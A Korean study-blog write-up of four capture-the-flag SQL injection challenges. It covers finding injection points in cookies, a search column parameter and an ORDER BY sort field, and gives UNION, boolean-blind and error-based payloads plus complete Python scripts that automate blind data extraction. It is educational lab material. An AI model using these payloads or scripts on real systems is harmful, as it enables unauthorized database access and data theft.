자습

CTF - SQL Injection 포인트 찾기

whydontyoushovel 2025. 1. 8. 07:37

 

SQL Injection

서버에서 준비한 쿼리문에 악의적인 의도를 가진 SQL구문을 주입하는 해킹 기법.

 


 

 

1. Union SQL Injection

  SQL 질의 결과가 사이트 화면에 출력될 때 

 

2. Error-Based SQL Injection

  사이트에 질의문의 결과는 안 나와도 SQL 에러문이 출력될 때

 

3. Blind SQL Injection

  질의문 결과나 에러문이 화면에 출력되지 않지만 쿼리의 참/거짓 결과를 구분할 수 있을 때   

 

 


 

 

▶ 검색, 인증 뿐만 아니라 쿠키, 동적으로 할당되는 컬럼명, order by 절 등 쿼리가 사용되는 곳에서 SQL Injection이 일어날 수 있기 때문에 버프 스위트 등의 프록시 툴을 이용하여 요청에 어떤 파라미터를 가져가는지 확인해야함.

 

▶가져가는 파라미터를 어떤 쿼리문에서 사용하는지 생각하며 페이로드를 짜야 함.

 

 


 

 

케이스 목록

  • CTF1: 마이페이지 - 쿠키
  • CTF2: 검색창 - 필터 - 컬럼명
  • CTF3: 검색창 - order by 정렬
  • CTF4: 마이페이지 - 참/거짓 결과 모호 - 매트릭스

 

공통 목차

  • SQL Injection 포인트 찾기
  • 페이로드 짜기 (Blind SQL Injection의 경우 파이썬 코딩 포함)
  • 데이터 추출

 

 

 

 

 

 SQL Injection CTF 풀이 

 

 

 ♪  CTF - 1          

마이페이지 - 쿠키

 

 

1) SQL Injection 포인트 찾기

 

사이트에 접속 

가입된 계정으로 로그인 

마이페이지에 입장 

 

 

버프 스위트로 쿠키 확인
세션아이디와 사용자 계정 정보가 쿠키에 저장됨을 발견함

 

gaga' 입력 후 재요청 결과 응답 데이터에 변화가 생김.
info 인풋 태그에 'Nothing Here...'라는 문구가 사라짐.

 

마이페이지에서 쿠키값을 이용해 DB에 접근 중

 

gaga' and '1'='1과 gaga' and '1'='2를 각각 요청한 결과
항상 거짓인 조건과 함께 썼을 때 info 데이터가 출력되지 않음.

 

사용자 입력값을 쿼리문의 일부로 인식하고 있음

 

→ SQL Injection 포인트 발견

 

 

 

2) 페이로드 짜기

Union SQL Injection

 

 

▷ 서버측 쿼리문 추측하기

앞선 단계에서 쿠키값을 매개로 데이터를 가져옴을 발견함.

서버측 쿼리엔 적어도 아래와 같은 코드가 포함되어 있을 것으로 생각됨.

SELECT ______ FROM _____ WHERE id = 'user쿠키값';

 

 

▷ 공격 방법 정하기

DB데이터가 2번째 칸에 출력되고 있으므로 UNION SQL Injection이 가능할 것으로 보임.

 

 

▷ UNION SQL Injection의 절차

  1. 서버에서 사용 중인 컬럼 개수 찾기
  2. 데이터 출력하는 컬럼의 위치 찾기
  3. 서버에서 사용 중인 DB명 찾기
  4. 테이블명 찾기
  5. 컬럼명 찾기
  6. 데이터 출력하기

 

▷ 각 단계별 페이로드

1. 컬럼 개수 찾기

gaga' order by __  , '1'='1 
// 아래부터 서버 사용 컬럼 개수가 5개인 것으로 가정 

 

2. 컬럼 위치 찾기

gaga' union select 1,2,3,4,5 limit 1,1   
// 아래부터 'Nothing Here...'가 4번째 컬럼에서 출력되고 있다는 것을 가정

 

3. 서버에서 사용 중인 DB명 찾기

gaga' union select 1,2,3,database(),5 limit 1,1
// 아래부터 DB명이 'sqli_6'이라고 가정

 

4. 테이블명 찾기

gaga' union select 1,2,3,table_name,5 from information_schema.tables where table_schema='sqli_6' limit 1,1
// 'flag_table'이라는 테이블을 발견했다고 가정

 

5. 컬럼명 찾기

gaga' union select 1,2,3,column_name,5 from information_schema.columns where table_name='flag_table' limit 1,1
// 'flag'라는 컬럼을 발견했다고 가정

 

6. 데이터 추출

gaga' union select 1,2,3, flag,5 from flag_table limit 1,1

 

***정석은 이런 식이지만 주석을 쓰지 않고 서버 쿼리문의 마지막 작은 따옴표 처리고자 했기 때문에 약간씩 변형하여 사용함.

 

 

 

 

3) 데이터 추출

 

▷ 컬럼 개수

각 결과에 따라 서버에서 사용 중인 컬럼 개수는
총 1개인 것으로 추측

 

 

 

 

▷ 컬럼 위치 (뻔하다)

gaga' union select 1 order by 1, '1 입력 결과
데이터가 출력되는 컬럼은 첫번째에 있음을 확인함

 

 

 

▷ DB명 찾기

gaga' union select database() order by 1 desc, '1 입력 결과
서버의 DB명이 'sqli_6'이라는 것을 발견

***desc 순으로 정렬해야 DB명이 출력됨

 

 

 

▷ 테이블명 찾기

gaga' union select table_name from information_schema.tables
where table_schema='sqli_6' order by 1 desc, '1 입력 결과
결과 테이블의 마지막 행에 'Nothing Here...'가 있음을 발견

gaga' union select table_name from information_schema.tables
where table_schema='sqli_6' order by 1, '1 입력 결과
board라는 테이블 발견

gaga' union select table_name from information_schema.tables
where table_schema='sqli_6' and table_name not in ('board') order by 1, '1 입력 결과
flag_table이라는 테이블 발견  => 유력

gaga' union select table_name from information_schema.tables
where table_schema='sqli_6' and table_name not in ('board', 'flag_table') order by 1, '1 입력 결과
member라는 테이블 발견

gaga' union select table_name from information_schema.tables
where table_schema='sqli_6' and table_name not in ('board', 'flag_table', 'member') order by 1, '1 입력 결과
Nothing Here... 발견  => 테이블 더이상 없음

 

 

총 3개의 테이블 발견 < board, flag_table, member >

***flag를 찾는 것이 목표이기 때문에 flag_table을 위주로 탐색

 

 

 

▷ 컬럼명 찾기

gaga' union select column_name from information_schema.columns
where table_name='flag_table' order by 1 desc, '1 입력 결과
결과 테이블 마지막 행에 'Nothing Here...'가 있다는 것을 발견

gaga' union select column_name from information_schema.columns
where table_name='flag_table' order by 1, '1 입력 결과
flag라는 컬럼 발견   => 유력

 

gaga' union select column_name from information_schema.columns
where table_name='flag_table' and column_name not in ('flag') order by 1, '1 입력 결과
idx라는 컬럼 발견

gaga' union select column_name from information_schema.columns
where table_name='flag_table' and column_name not in ('flag', 'idx') order by 1, '1 입력 결과'
'Nothing Here...' 발견.  =>더이상 컬럼 없음

 

 

 

 

▷ 데이터 추출

gaga' union select flag from flag_table where idx=1 order by 1, '1 입력 결과
FlagIsHere! Come 이라는 문자열 발견

 

gaga' union select flag from flag_table where idx=2 order by 1, '1 입력 결과
'Nothing Here...'발견

gaga' union select flag from flag_table where idx=2 order by 1 desc, '1 입력 결과
flag 발견

 

 

sqli_6. flag_table. flag -> 두번째 행에서 flag를 발견할 수 있었음.

 

 

주저리

더보기

혼자 먼저 풀어볼 땐 이전에 만들었던 Blind SQLi 파이썬 툴을 수정해 사용했다.

내가 왜 Blind로 풀었었는지를 까먹고 지금 다시 정리하려고 풀다보니 UNION도 가능할 것 같아서 시도해봤다.

(그리고 내가 마지막 작은 따옴표 때문에 union을 버렸다는 걸 깨달음)

나름대로 주석을 안 쓰고 UNION SQL Injection을 해보려고 우겨넣었는데 컬럼이 뒤지게 많은 실제 사이트에서 쓰기는 힘들 것 같다.

실제 사이트에서 할 땐 차라리 Blind SQL Injection 파이썬 툴을 만드는 게 더 빠를 것 같다...

 

 

 

 

 

 

 ♪  CTF - 2          

검색창 - 필터 - 컬럼명

 

 

 

 

1) SQL Injection 포인트 찾기

 

▷ 탐색하기

 

사이트에 접속하여 가입된 계정으로 로그인

 

게시판 입장

 

작성자를 기준으로 g가 포함된 게시글 검색

 

요청 데이터에 포함된 파라미터를 확인

 

 

검색 과정에서 POST방식으로 전송하는 파라미터

  • option_val=username
  • board_reslut=g
  • board_search=어쩌구
  • date_from=
  • date_to=

 

각각의 파라미터가 무엇을 의미하는지 확인하기 위해 재검색

제목을 기준으로 a가 포함된 결과를 검색

 

검색 결과 alert창 출력됨.

 

 

제목을 기준으로 a가 포함된 결과를 검색한 결과

요청 파라미터 값이 변한 것이 있음.

  • option_val=title
  • board_result=a
  • board_search=어쩌구
  • date_from=
  • date_to=

option_val과 board_result값이 변함.

  option_val board_result
작성자를 기준으로
g를 포함한 데이터를 검색
username g
제목을 기준으로
a를 포함한 데이터를 검색
title a

 

 

 

▷ 서버측 쿼리문 추측하기

 

  • option_val라는 검색 기준을 사용 중
  • board_result의 값이 포함된 데이터 식별

위 두 조건을 고려할 때 서버에서는 아래와 같은 쿼리문을 사용할 가능성이 높음.

SELECT ___ FROM ____ WHERE [option_val] LIKE '$[board_result]%';

> option_val로 지정된 컬럼에서 board_result로 지정된 문자가 포함된 데이터를 색출함.

 

 

여기서 사용자가 값을 넣을 수 있는 두 부분이 있으므로 SQL Injection이 시도될 수 있는 부분도 두 곳임.

하지만 검색창에 g%' and '1%'='1 을 넣었을 때 g를 포함한 결과가 아니라 alert창이 출력되고 있므로 이 위치에선 SQLi에 대한 대응을 하고 있다고 보임. 

 

 

 

▷ SQLi 포인트 찾기

  • board_result

검색어 위치에 g%' and '1%' ='1 입력 결과
g만 넣어 검색한 결과와 같지 않음
=> 입력한 특수문자가 쿼리문의 일부로 인식되지 않음, SQL Injection 불가

  • option_val

option_val 값에 (1=1) and username과 (1=2) and username 입력 결과
항등원을 넣었을 때만 검색결과가 출력됨
=> SQL Injection 가능함

 

검색 쿼리의 조건절 컬럼명에서 SQLi 발견

→ SQL Injection 포인트 발견

 

 

 

2) 페이로드 짜기

Blind SQL Injection

 

Blind SQL Injection

  1. 데이터를 뽑는 쿼리에서 글자 하나를 뽑음
  2. 그 글자를 아스키코드로 변환함
  3. 변환한 아스키코드를 이진탐색으로 찾음
  4. 찾은 아스키코드를 리스트에 저장
  5. 모두 찾아낸 후 리스트의 값을 하나씩 뽑아서 문자로 변환
  6. 변환한 데이터 출력

 

▷1~3번

 

예를 들어 서버에서 사용 중인 DB명의 첫글자를 알아내려면 이런 페이로드를 만들 수 있음

(ascii(substr((select database()), 1, 1)) > 79) and username
// 데이터를 뽑는 쿼리에서 글자 하나를 뽑음
// 그 글자를 아스키코드로 변환함
// 변환한 아스키코드를 이진탐색으로 찾음
// 79는 문자를 아스키코드로 변환시킨 33에서 126 사이의 값임

 

그럼 서버의 쿼리문은 아래와 같이 변할 것임.

SELECT ___ FROM ____
WHERE (ascii(substr((select database()), 1, 1)) > 79) and username LIKE '%g%';

DB명 첫글자의 아스키코드가 79보다 크다면 조건은 참이되고 and로 연결된 두번째 조건을 수행함.

==> g를 검색한 결과가 화면에  표시될 것.

(ascii(substr((select database()), 1, 1)) > 79) and username을 입력한 결과
g를 검색했을 때와 동일한 결과가 화면에 출력됨.
==>> DB명 첫글자의 범위는 126~79로 좁혀짐.

 

 

 

▷파이썬 자동화 코드

import requests

url = "http://ctf2.segfaulthub.com:7777/sqli_7/notice_list.php"

sql = input("SQL> ")

#글자 수 알아내기

n = 0

for n in range(1, 51) :
    len_payload = f"length(({sql})) > {n}"

    data = {
        'option_val' : f"({len_payload}) and username",
        'board_result' : 'g',
        'board_search' : '%F0%9F%94%8D'
    }

    cookie = {
        'PHPSESSID' : 'f2tkdt29rpchendkc9dat7746t'
    }


    response = requests.post(url, data = data, cookies=cookie)

    if "존재하지 않습니다." in response.text :
        print(f"글자 수: {n}")
        break

    else :
        continue     
        




#글자 알아내기

ascii_list = [] #나온 아스키코드 저장할 변수


for i in range(1, n+1) :
    min = 33 #최소값
    max = 126 #최대값

    while max > min :

        j = (max+min)//2 #기준값
        payload = f"ascii(substr(({sql}), {i}, 1)) > {j}"


        data = {
            'option_val' : f"({payload}) and username",
            'board_result' : 'g',
            'board_search' : '%F0%9F%94%8D'
        }

        cookie = {
            'PHPSESSID' : 'f2tkdt29rpchendkc9dat7746t'
        }


        response = requests.post(url, data = data, cookies = cookie)


        if "존재하지 않습니다." in response.text :
            max = j
        else :
            min = j + 1

    
    ascii_list.append(min)

result = "". join(chr(c) for c in ascii_list)
print(f"추출된 데이터: {result}")

 

  • 파이썬으로 사이트에 요청을 보내기 위해 requests 불러옴
  • 요청 보낼 사이트 url 변수에 저장
  • select database() 등 데이터 추출할 쿼리를 입력받아 변수 저장

→ 글자 수 찾는 코드

  • 글자 수를 저장할 변수 n을 선언
  • 1부터 50까지 1씩 증가시키며 반복문 실행
  • 글자 수를 비교할 페이로드 저장
  • POST방식으로 보낼 파라미터에 맞춰 페이로드 저장 (username 이용)
  • 쿠키에 세션아이디 저장 (안하면 안 보내짐)
  • url과 쿠키헤더, 파라미터를 세팅하고 POST요청 보냄 + 돌아온 응답을 변수에 저장
  • 응답 본문에 "존재하지 않습니다."라는 문구가 있으면 글자 수 출력 (n보다 크지 않다 -> n과 같다)

→ 데이터 뽑는 코드

  • 찾은 아스키코드 저장할 변수 선언
  • 반복문을 찾은 글자 수(n)만큼 실행 + i번째 글자에 대해 탐색
  • 이진탐색을 실행할 범위 설정 (아스키코드 문자 범위: 33~126) 
  • 페이로드 포함한 요청을 보낼 조건 설정 -> 최대값이 최소값보다 큰 동안 실행 (같거나 작아지면 멈춤)
  • 아스키코드 범위를 갱신할 기준값(j) 설정
  • 원하는 데이터의 i번째 글자의 아스키코드가 j보다 큰지 확인할 페이로드 작성
  • POST 요청에 포함할 파라미터 설정 (username 이용)
  • 쿠키 헤더에 세션아이디 설정
  • 요청 보낸 뒤 응답 값 저장
  • 응답 본문에 "존재하지 않습니다."가 포함되면 (j보다 작으면) j를 최대값으로 갱신
  • 그게 아니면 (j보다 큰 게 참이면) j에 1을 더한 값을 최소값으로 갱신 (커야하므로 같은 값도 제외)
  • 이진탐색 결과 max와 min이 같아지면 while문을 빠져나와 리스트에 해당 아스키코드 추가
  • 최종 리스트에서 요소를 하나씩 뽑아 문자로 변환하고 하나의 문자열로 바꿔 result에 저장
  • 최종 데이터 문자열을 출력

 

 

≫ DB명 찾기

상단의 run버튼을 눌러 파이썬 프로그램을 실행시킴

select database()를 입력하고 엔터를 누름

테이블명 찾기

결과로 출력된 데이터를 확인

 

 

≫ 테이블명 찾기

컬럼명 찾기

다시 run버튼을 눌러 프로그램을 실행
테이블명을 찾는 쿼리를 입력
(limit 0,1을 추가해 첫 행 결과로 나온 테이블명을 찾음) 

데이터 찾기

첫번째 결과 확인  => board 테이블 발견

 

두번째 테이블 발견 => flagTable

 

 

 

≫ 컬럼명 찾기

컬럼명 찾는 쿼리를 입력한 결과 두번째 행에서 flag 컬럼 발견

 

 

 

≫ 데이터 추출

flagTable 테이블의 flag행 데이터를 idx 순서로 추출한 결과
세번째 행에서 flag 발견함

 

 

 

 

limit 안 써도 주루룩 출력됐으면 좋겠다...

라는 생각으로 접근해본

객체지향 버전 파이썬 프로그램

import requests


class sqlGen:
    def __init__(self, sql):
        self.sql = sql

    def generate_limit_query(self,offset):
        return f"{self.sql} limit {offset},1"
    
    def generate_length_query(self,limit_query):
        return f"length(({limit_query}))"
    

class sendRequest:
    def __init__(self,url,cookies):
        self.url = url
        self.cookies = cookies

    def send(self,payload):
        data = {
            'option_val' : f"({payload}) and username",
            'board_result' : 'g',
            'board_search' : '%F0%9F%94%8D'
        }

        response = requests.post(self.url,data=data,cookies=self.cookies)
        return response.text


class BlindSQLInjector:
    def __init__(self,sql,url,cookies):
        self.sql = sql
        self.url = url
        self.cookies = cookies
        self.sql_generator = sqlGen(sql)
        self.request = sendRequest(url,cookies)


    def get_length(self,limit_query):

        for n in range(1,51):
            length_query = self.sql_generator.generate_length_query(limit_query)
            payload = f"{length_query} > {n}"
            response = self.request.send(payload)

            if "존재하지 않습니다." in response:
                if n == 1:
                    return
                else:
                    return n


    def get_data(self):
        offset = 0

        while True:
            limit_query = self.sql_generator.generate_limit_query(offset)
            n = self.get_length(limit_query)

            if n is None:
                print("데이터 없음.")
                break
            else:
                ascii_list = []

                for i in range(1,n+1):                   
                    min = 33
                    max = 126

                    while max > min:
                            
                        j = (min+max)//2
                        ascii = f"ascii(substr(({limit_query}),{i},1))"                            
                        payload = f"{ascii} > {j}"

                        response = self.request.send(payload)
                        
                        if "존재하지 않습니다." in response:
                            max = j
                        else:
                            min = j +1

                    ascii_list.append(min)

                result = "".join(chr(c) for c in ascii_list)
                print(f"[{offset}]: {result}")
            
            offset += 1



if __name__ == "__main__":
    sql = input("SQL> ")
    url = "http://ctf2.segfaulthub.com:7777/sqli_7/notice_list.php"
    cookies = {'PHPSESSID':'18817aeuej7m4l204oqvm8sq34'}
    injector = BlindSQLInjector(sql,url,cookies)
    injector.get_data()

 

쿼리 만드는
애들
sqlGen
init       

1)
입력 받은 SQL쿼리






generate_limit_query      

1) 매개변수: offset
2) 얘 호출하는 애한테서 offset값 받아서 입력받은 쿼리 뒤에 limit 0,1 같은 거 붙여서 돌려줌
3) EX -> select flag from flagTable limit 0,1

generate_length_query      

1) 매개변수: limit붙인 쿼리
2) 얘 호출하는 애한테서 limit붙인 쿼리를 받아 데이터 글자 수 알아내는 페이로드에 넣어줌
3) EX -> length((select database()))

요청 보내고 응답 받는 애들
sendRequest
init     

1)
공격할 url
2) 요청에 필요한 쿠키






send     

1) 매개변수: payload
2) 얘 호출하는 애한테서 공격 payload를 받아 post요청으로 보낼 데이터에 넣어서 쿠키, url이랑 같이 요청 보내고 받은 응답을 변수에 저장. 응답에서 본문을 뽑아 얘 호출한 애한테 전달
3) length((select database())) > 4 전달 받아서 데이터에 (length() > 4) and username 이랑 기타등등 넣고 전송. 응답 데이터 받아서 get_length메소드에 전달.

원하는 데이터 뽑는 애들
BlindSQLInjector
init      

1)
입력 받은 SQL쿼리
2) 공격할 url
3) 요청에 필요한 쿠키
4) 쿼리 만드는 애랑 요청 보내고 응답 받는 애한테 접근할 인스턴스 저장
















get_length      

1) 매개변수: select flag from flagTable limit 1,1 같은 거
2) 얘 호출한 애한테서 위 매개변수를 받아 length 함수로 감싸고 n이랑 크기 비교하는 페이로드 만듦. 이때 n은 1부터 50까지 1씩 커지는 값을 가짐.  
3) 어떤 n 값을 넣어서 보냈을 때 응답에 "존재하지 않습니다."라는 문자열이 있으면(페이로드가 참이면) n값을 1과 비교해서 1이면 메소드 종료하고 이 메소드를 호출했던 애한테 none반환 (->글자 수 1이면 데이터가 없다고 간주함)
4) n이 1이 아니면 n값 반환








get_data       

1) 반환된 글자 수가 1이면 break하는 while문
2) 그 안에 반환된 글자 수(n) 받아서 첫번째 글자부터 i번째 글자까지 n만큼 반복해서 뽑는 코드
3) 뽑은 글자를 아스키코드로 바꾸고 이진탐색하는 코드 for문. 페이로드가 참이면(아스키코드가 기준값보다 크면) 최소값을 현재 기준값+1로 갱신. 페이로드가 거짓이면(아스키코드가 기준값보다 작으면) 최대값을 현재 기준값으로 갱신.
4) 찾은 아스키코드들을 리스트에 저장하고 리스트 값을 하나씩 뽑아 문자로 변환한 뒤 하나의 문자열로 저장/출력
5) for문 한 턴이 끝나면 offset+1해서 다음 데이터 행 찾는 코드 실행 (limit 0,1 -> limit 1,1) 
실행 코드
if __name__ == "__main__"
1) 쿼리 입력받아 변수에 저장
2) 공격할 url 변수에 저장
3) 요청 보낼 때 필요한 쿠키 데이터 저장
4) BlindSQLInjector 생성자 호출하며 데이터 전달 (실제 실행할 메소드가 이 클래스에 있음)
5) injector 인스턴스로 BlindSQLInjector 클래스 내부 메소드 실행

 

  • 클래스는 한 문장으로 딱 떨어지게 역할을 정해줘야 안 헷갈림 (쉽다는 뜻은 아니지만 대가리 덜 깸)
  • 반복문 안에서 변수 초기화를 어디에 넣어야하는지 주의
  • return만 쓰면 메소드 종료하며 none을 반환함

 [+]  if __name__=="__main__" 의미:

import로 불러올 때 말고 직접 실행할 때 아래 코드 동작함. (직접 실행될 때 __name__내장변수에 __main__이라는 값이 저장됨)

 

컬럼명 찾기
데이터 찾기

 

약점

select database()를 실행할 경우 결과가 'sqli_7' 하나만 나오는데 이게 limit 0,1일 때만 나오는 게 아니라 limit 1,1부터 그냥 계~속 나옴.

DB명을 몰라도 테이블 이름에서 바로 table_schema=database()로 넣으면 되긴 하지만 한 페이지에서 여러 DB를 사용하는 경우도 있을지는 모르겠다..그럴 때를 대비해 그냥 select database()를 실행하고 대충 결과 반복되면 ctrl+c로 강제종료하는 방법도 있음...(찝찝)

 

 

 

 

 

 ♪  CTF - 3          

검색창 - 정렬(order by)

 

1) SQL Injection 포인트 찾기

 

▷탐색하기

사이트의 게시판에 접속하여 g를 검색

요청으로 보낸 데이터 확인
sort라는 파라미터를 발견 => order by절일 수 있음
order by절은 prepared statement를 적용할 수 없는 대표적인 곳이니 확인 필수

 

*order by절이 맞는지 확인하기 ↓

sort의 파라미터가 1일 때와 999일 때 출력되는 화면 비교
999일 때 게시물 출력 안됨 -> 서버에서 사용하는 컬럼 개수를 초과한 값이라 안 나옴
order by 절일 가능성이 큼

 

 

 

▷서버측 쿼리문 예상하기

  • 사용 중인 파라미터
option_val=username    (조건절의 컬럼명)
board_result=g    (like 구문에 들어가는 검색어)
board_search=%F0%9F%94%8D    (안 바뀜 -> 의미 없음)
date_from=    (데이터 없음->의미 노)
date_to=    (데이터 없음->의미 노)
sort=username    (order by절의 정렬 기준 컬럼명)
SELECT ____ FROM ___ 
WHERE [option_val] LIKE '%[board_result]%' 
ORDER BY [sort]

 

 

 

▷ SQLi 포인트 찾기

  • 서버에서 사용 중인 컬럼명을 알 경우
order by case when (조건) then title else username end

1) 조건이 참일 경우 title 컬럼을 기준으로 정렬

2) 조건이 거짓일 경우 username 컬럼을 기준으로 정렬

 

조건이 항상 참(1=1)이기 때문에 사용자 이름을 기준으로 정렬하여 출력
(사용자 이름은 gaga로 모두 동일 -> 오래된 게시물부터 출력)

조건이 항상 거짓(1=2)이기 때문에 title 컬럼을 기준으로 정렬하여 출력
[0-9, 가-하] 순서로 출력 

 

 

  • 서버에서 사용 중인 컬럼명을 모를 경우
order by (조건) then 1 else (select 1 union select 2) end

 

1) 조건이 참일 경우 모든 행에 정렬기준값 1 반환 -> 순서 변화 없이 출력됨

2) 조건이 거짓일 경우 모든 행에 2행 1열의 값(매트릭스) 반환 -> order by 절은 매트릭스를 처리할 수 없음 -> 오류

   -> 결과 출력 안됨

 

조건이 항상 참(1=1)일 경우 모든 행에 정렬기준값 1 반환
게시물 정렬 순서 변화 없이 정상 출력

조건이 항상 거짓(1=2)일 경우 모든 행에 2행 1열의 매트릭스 값 반환
order by 절은 매트릭스를 처리할 수 없어서 오류 일으킴
결과 출력 안됨

 

검색 쿼리의 ORDER BY절에서 SQLi 발견

→ SQL Injection 포인트 발견

 

 

 

2) 페이로드 짜기

Blind SQL Injection

 

# 데이터 글자 수 알아내기
ORDER BY (length((select _____)) > n ) THEN 1 ELSE (select 1 union select 2) end
# 데이터 뽑기
ORDER BY (ascii(substr((select ____),i, 1)) > j ) THEN 1 ELSE (select 1 union select 2) end

 

 

 

▷ 글자 수 알아내기 예시

DB명의 글자 수가 6과 같은지 묻는 쿼리를 조건에 넣고 요청 전송
게시물 정상 출력 -> 조건이 참 -> 글자 수 6자

 

 

▷ 데이터 뽑기 예시

서버에서 사용 중인 DB명의 첫 글자를 아스키코드로 바꿨을 때
그 값이 79보다 큰지 묻는 쿼리를 조건에 삽입 후 요청 전송
게시물 정상 출력됨 -> 조건 참 -> DB명 첫 글자는 아스키코드 79보다 큼

 

 

▷파이썬 자동화 코드

2번이랑 거의 똑같음

import requests

class sqlGen:
    def __init__(self, sql):
        self.sql = sql

    def generate_limit_query(self,offset):
        return f"{self.sql} limit {offset},1"
    
    def generate_length_query(self,limit_query):
        return f"length(({limit_query}))"
    

class sendRequest:
    def __init__(self,url,cookies):
        self.url = url
        self.cookies = cookies

    def send(self,payload):
        data = {
            'option_val' : 'username',
            'board_result' : 'g',
            'board_search' : '%F0%9F%94%8D',
            'sort' : f"case when ({payload}) then 1 else (select 1 union select 2) end"
        }

        response = requests.post(self.url,data=data,cookies=self.cookies)
        return response.text


class BlindSQLInjector:
    def __init__(self,sql,url,cookies):
        self.sql = sql
        self.url = url
        self.cookies = cookies
        self.sql_generator = sqlGen(sql)
        self.request = sendRequest(url,cookies)


    def get_length(self,limit_query):

        for n in range(1,51):
            length_query = self.sql_generator.generate_length_query(limit_query)
            payload = f"{length_query} > {n}"
            response = self.request.send(payload)

            if "존재하지 않습니다." in response:
                if n == 1:
                    return

                else:
                    return n


    def get_data(self):

        offset = 0

        while True:

            limit_query = self.sql_generator.generate_limit_query(offset)
            n = self.get_length(limit_query)

            if n is None:
                print("데이터 없음.")
                break

            else:
                ascii_list = []

                for i in range(1,n+1):
                    
                    min = 33
                    max = 126

                    while max > min:
                            
                        j = (min+max)//2

                        ascii = f"ascii(substr(({limit_query}),{i},1))"                            
                        payload = f"{ascii} > {j}"

                        response = self.request.send(payload)
                        
                        if "존재하지 않습니다." in response:
                            max = j
                        else:
                            min = j +1

                    ascii_list.append(min)

                result = "".join(chr(c) for c in ascii_list)
                print(f"[{offset}]: {result}")
            
            offset += 1



if __name__ == "__main__":
    sql = input("SQL> ")
    url = "http://ctf2.segfaulthub.com:7777/sqli_8/notice_list.php"
    cookies = {'PHPSESSID':'18817aeuej7m4l204oqvm8sq34'}
    injector = BlindSQLInjector(sql,url,cookies)
    injector.get_data()

1) 쿼리에 LIMIT이나 LENGTH 붙이는 애들

2) 요청 보내서 응답 받는 애들

3) 글자 길이랑 데이터 찾는 애들

4) 실제 실행 코드


 

2번 문제에서 쓴 코드와 바뀐 거:

  • 요청에 넣을 url
  • 요청에 넣을 파라미터 (sort 추가)
  • 추가한 sort에 case when 파라미터 적용

상황에 따라 더 수정할 부분:

  • 세션 아이디 등 쿠키 데이터
  • 참/거짓을 판별할 서버의 응답 ("존재하지 않습니다." 대체)

 


≫ 테이블명 찾기

 

≫ 컬럼명 찾기

 

≫ 데이터 뽑기

 

 

 

 

 ♪  CTF - 4          

마이페이지 - 쿠키 - 에러 유발

 

1) SQL Injection 포인트 찾기

 

▷탐색하기

사이트에 접속

가입되어있는 계정으로 로그인

마이페이지 접속

 

마이페이지 요청 시 쿠키 데이터에 사용자 정보를 가지고 가는 것을 확인

 

쿠키 데이터를 gaga에서 gaga'로 변경하여 재요청한 결과
DB Error... 라는 문구 출력
마이페이지 데이터를 가지고 올 때 쿠키 데이터를 사용하고 있음을 알 수 있음

 

 

▷서버측 쿼리문 추측하기

SELECT ___ FROM ___ WHERE id = '$_COOKIE['user']'

 

 

 

▷SQL Injection 포인트 찾기

참('1'='1'), 거짓('1'='2') 조건에 대한 서버의 반응을 알아내기 위해 쿠키에 해당 값을 포함하여 재요청
사용자 이름을 출력하는 위치 외에는 변화가 없음 -> 참/거짓 반응으로 SQLi를 시도하기 힘듦

 

 

조건의 참/거짓 여부에 따라 DB 에러를 일으키는 방식으로 SQL Injection을 시도해야함
Blind SQL Injection으로 시도

 

마이페이지의 쿠키 데이터에서 SQL Injection포인트 발견

→ SQL Injection 포인트 발견

 

 

2) 페이로드 짜기

Blind SQL Injection

gaga' and (select 1 union select 2 where (조건)) and '1'='1
  • 조건이 참이면 union select가 살아남 -> 매트릭스 발생 -> DB에러
  • 조건이 거짓이면 union select 죽음 -> select 1만 적용 -> 마이페이지 정상 출력
# 글자 수 찾기
gaga' and (select 1 union select 2 where (length((select ___)) > n )) and '1'='1
# 데이터 뽑기
gaga' and (select 1 union select 2 where (ascii(substr((select ___), i, 1)) > j)) and '1'='1

 

 

 

▷ 글자 수 알아내기 예시

DB명이 6글자이면 (참이면) union select가 살아나서 매트릭스 발생 -> 에러
에러 발생함 -> 조건은 참임 -> DB명 6글자

 

 

▷ 데이터 뽑기 예시

DB명 첫글자의 아스키코드가 126보다 크면 매트릭스 발생 -> 에러
요청 보냈더니 화면에 마이페이지 정상 출력 -> 에러 안 남 -> 아스키코드 126보다 같거나 작음
(당연함 문자의 아스키코드는 가장 큰 값이 126임) 

 

 

 

▷파이썬 자동화 코드

import requests

class sqlGen:
    def __init__(self, sql):
        self.sql = sql

    def generate_limit_query(self,offset):
        return f"{self.sql} limit {offset},1"
    
    def generate_length_query(self,limit_query):
        return f"length(({limit_query}))"
    

class sendRequest:
    def __init__(self,url):
        self.url = url

    def send(self,payload):
        cookie = {
            'PHPSESSID':'h3dt8iovgfrrummile5rg889rj', 
            'user':f"gaga' and (select 1 union select 2 where ({payload})) and '1"
        }


        response = requests.post(self.url,cookies=cookie)
        return response.text


class BlindSQLInjector:
    def __init__(self,sql,url):
        self.sql = sql
        self.url = url
        self.sql_generator = sqlGen(sql)
        self.request = sendRequest(url)


    def get_length(self,limit_query):

        for n in range(1,51):
            length_query = self.sql_generator.generate_length_query(limit_query)
            payload = f"{length_query} > {n}"
            response = self.request.send(payload)

            if "개인정보" in response:
                if n == 1:
                    return

                else:
                    return n


    def get_data(self):

        offset = 0

        while True:

            limit_query = self.sql_generator.generate_limit_query(offset)
            n = self.get_length(limit_query)

            if n is None:
                print("데이터 없음.")
                break

            else:
                ascii_list = []

                for i in range(1,n+1):
                    
                    min = 33
                    max = 126

                    while max > min:
                            
                        j = (min+max)//2

                        ascii = f"ascii(substr(({limit_query}),{i},1))"                            
                        payload = f"{ascii} > {j}"

                        response = self.request.send(payload)
                        
                        if "DB Error..." in response:
                            min = j + 1
                        else:
                            max = j

                    ascii_list.append(min)

                result = "".join(chr(c) for c in ascii_list)
                print(f"[{offset}]: {result}")
            
            offset += 1



if __name__ == "__main__":
    sql = input("SQL> ")
    url = "http://ctf2.segfaulthub.com:7777/sqli_9/mypage.php"
    injector = BlindSQLInjector(sql,url)
    injector.get_data()

 


 

2,3번 문제에서 쓴 코드와 바뀐 거:

  • 요청에 넣을 url
  • 요청에 넣을 data삭제 + 쿠키 위치 변경
  • 쿠키가 요청 클래스에 들어가서 다른 메소드에 있던 cookies 파라미터 삭제 (전달하지 않아도 요청 클래스에서 포함)
  • 쿠키에서 페이로드 적용
  • 참/거짓을 판별할 서버의 응답(데이터 찾는 클래스에서 페이로드 참일 경우 응답 본문에 'DB Error...' 포함, 글자 수 찾는 클래스에서 거짓일 경우 -글자 수가 n보다 같거나 작을 경우 - 응답 본문에 '개인정보' 포함)

상황에 따라 더 수정할 부분:

  • 요청 파라미터 등

 

 

 

≫ 테이블명 찾기

 

≫ 컬럼명 찾기

 

